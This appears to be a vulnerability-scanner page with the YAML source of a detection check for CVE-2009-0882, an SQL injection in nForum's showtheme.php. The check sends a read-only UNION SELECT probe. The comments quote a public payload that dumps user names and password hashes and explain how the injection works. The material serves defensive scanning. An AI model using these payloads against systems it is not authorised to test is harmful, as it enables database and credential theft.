nForum — 1 vulnerability check
noctis ships 1 vulnerability check for nForum, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
nForum showtheme.php id SQL Injection
| CVE | CVE-2009-0882 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/nforum/CVE-2009-0882.yaml |
nForum (release 25042004, also published as 1.5, and earlier) puts the id parameter of showtheme.php into an SQL query without escaping and prints the theme row it returns, allowing unauthenticated SQL injection when PHP's magic_quotes_gpc is off (an attacker can read the whole database, including user names and password hashes). userinfo.php has the same flaw. No fixed release exists.
This check requests showtheme.php under the web root and the usual install paths. Where it answers, it sends an id that closes the quoted value and adds a UNION SELECT of an expression multiplying two random numbers. The vulnerability is confirmed when the page returns the product computed by the database, which never appears in the request. No table data is read and nothing is written.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/showtheme.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/showtheme.php?id={{sc.q}} - Parses / computes the next value with a Rhai script
- Checks
hit_dirfor^/→ finding QoD 97: nForum showtheme.php id SQL Injection (CVE-2009-0882)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2009-0882
- https://www.exploit-db.com/exploits/8170
- https://sourceforge.net/projects/nforum/
Feed source — tests/vulnerabilities/nforum/CVE-2009-0882.yaml
# nForum (25042004 / "1.5" and earlier) — showtheme.php id SQL injection — CVE-2009-0882
#
# showtheme.php calls show_theme($_GET['id']) (themes.inc.php), which runs
# SELECT * FROM themes WHERE id='$id'
# with id taken raw from the query string (exploitable when magic_quotes_gpc is
# off), exits with "damn" unless exactly ONE row comes back, then prints the row as
# <tr class="THEMETITLE"><td>TITLE<br>\n<small>SUBTITLE</small> ... <td valign=top>TEXT</td>
# (themes table: topic_id, id, title, subtitle, text, creator, date — 7 columns;
# creator goes to get_user_name_by_id(), where -1 is "Guest" without a query).
# userinfo.php?user= has the same flaw, and show_answers() then reuses id
# UNQUOTED (WHERE theme_id=$id), so magic_quotes_gpc does not fully protect it
# (an id like "1 UNION ..." still reaches it when theme 1 exists — not probed:
# it needs a known theme id). No fixed release exists.
# Public PoC (EDB-8170): showtheme.php?id=-1' UNION ALL SELECT 1,2,CONCAT(name,
# 0x3a, passwd_hash),NULL,5,6,7 FROM users%23
#
# Detection (QoD 97): on every candidate showtheme.php that answers 200 with its
# "answer.php?theme_id=" link (printed before the query), id =
# -1' UNION ALL SELECT 1,2,C,C,C,-1,7-- - with C = CONCAT(0x4e4f43544953, a*b,
# 0x454e44) and random a, b. The product a*b is never in the request, so only an
# SQL engine that evaluated our expression can return "NOCTIS<a*b>END". Read-only,
# no table referenced, no quotes inside the injected SQL, nothing extracted.
# Checked against a reconstruction of show_theme() (nForum 25042004 code) on
# MariaDB 10.11 through PHP mysqli: the raw query prints the marker, the escaped
# (magic_quotes_gpc on) query exits with "damn".
#
# Better than the source NASL:
# - the NASL dumps CONCAT(name, 0x3a, passwd_hash) FROM users: that UNION
# returns one row per user, and show_theme() exits with "damn" unless there is
# exactly one row, so the NASL misses every forum with 0 or 2+ accounts. Our
# UNION references no table and always yields exactly one row;
# - a database-computed value instead of extracting real credentials (no
# password hash ever lands in a report), and a page that reflects the id
# cannot match;
# - the creator column is -1 (Guest), so the page never aborts in
# get_user_name_by_id() — the NASL's "6" makes it exit right after the title.
#
# Source: OpenVAS/Greenbone NVT 2009/gb_nforum_multiple_sqli_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100025, GPL-2.0-only).
uid: d55afbee-e983-475e-af33-3e910d4e28ef
name: "nForum showtheme.php id SQL Injection (CVE-2009-0882)"
description: |
nForum (release 25042004, also published as 1.5, and earlier) puts the id
parameter of showtheme.php into an SQL query without escaping and prints the
theme row it returns, allowing unauthenticated SQL injection when PHP's
magic_quotes_gpc is off (an attacker can read the whole database, including user
names and password hashes). userinfo.php has the same flaw. No fixed release
exists.
This check requests showtheme.php under the web root and the usual install
paths. Where it answers, it sends an id that closes the quoted value and adds a
UNION SELECT of an expression multiplying two random numbers. The vulnerability
is confirmed when the page returns the product computed by the database, which
never appears in the request. No table data is read and nothing is written.
cves: [CVE-2009-0882]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [nforum, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-0882"
- "https://www.exploit-db.com/exploits/8170"
- "https://sourceforge.net/projects/nforum/"
# OpenVAS/Greenbone NASL 2009/gb_nforum_multiple_sqli_vuln.nasl (GPL-2.0-only)
steps:
# ── Random operands, expected marker and the encoded id value ─────────────
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
// 7 columns: topic_id, id, title, subtitle, text, creator (-1 = Guest), date
#{ want: "NOCTIS" + (a * b) + "END",
expr: a + "*" + b,
q: "-1%27%20UNION%20ALL%20SELECT%201,2," + c + "," + c + "," + c + ",-1,7--%20-" }
store_as: sc
- id: init-hit
action: set_var
var_name: hit_dir
var_value: ""
# ── Per candidate install path (loop group) ───────────────────────────────
- id: init-landing
action: set_var
var_name: landing
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/nforum", "/forum", "/board"]
- id: init-probe-resp
action: set_var
var_name: nf_resp
var_value: {status: 0, body: ""}
- id: init-is-nf
action: set_var
var_name: is_nf
var_value: false
- id: fetch-landing
action: http_request
method: GET
path: "{{dir}}/showtheme.php"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit_dir == ""'
store_as: landing
- id: gate
action: script
condition: 'hit_dir == ""'
code: |
// showtheme.php prints the "answer.php?theme_id=" link before its query
landing.status == 200 && type_of(landing.body) == "string" && landing.body.contains("answer.php?theme_id=")
store_as: is_nf
- id: union-probe
action: http_request
method: GET
path: "{{dir}}/showtheme.php?id={{sc.q}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit_dir == "" && is_nf == true'
store_as: nf_resp
- id: check-product
action: script
condition: 'hit_dir == "" && is_nf == true'
code: |
let body = if type_of(nf_resp.body) == "string" { nf_resp.body } else { "" };
if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
store_as: hit_dir
# ── Finding ───────────────────────────────────────────────────────────────
- id: report
action: match
source: hit_dir
pattern: "^/"
on_match:
finding:
title: "nForum showtheme.php id SQL Injection (CVE-2009-0882)"
description: "An unauthenticated request to showtheme.php with id closing the quoted value and adding a UNION SELECT of a multiplication of two random numbers returned the product computed by the database: id reaches the SQL query unescaped, so an attacker can read the whole database (including user names and password hashes)."
remediation: "nForum is no longer maintained and has no fixed release: remove it. As a stop-gap, cast id with intval() in showtheme.php (show_answers() also uses it unquoted, so escaping or magic_quotes_gpc is not enough) and escape the user parameter in userinfo.php with mysql_real_escape_string()."
confidence_delta: 0.67
qod: 97
evidence: "install dir {{hit_dir}}: showtheme.php?id=-1' UNION ALL SELECT 1,2,CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),CONCAT(...),CONCAT(...),-1,7-- - returned the database-computed value {{sc.want}}"
stop: true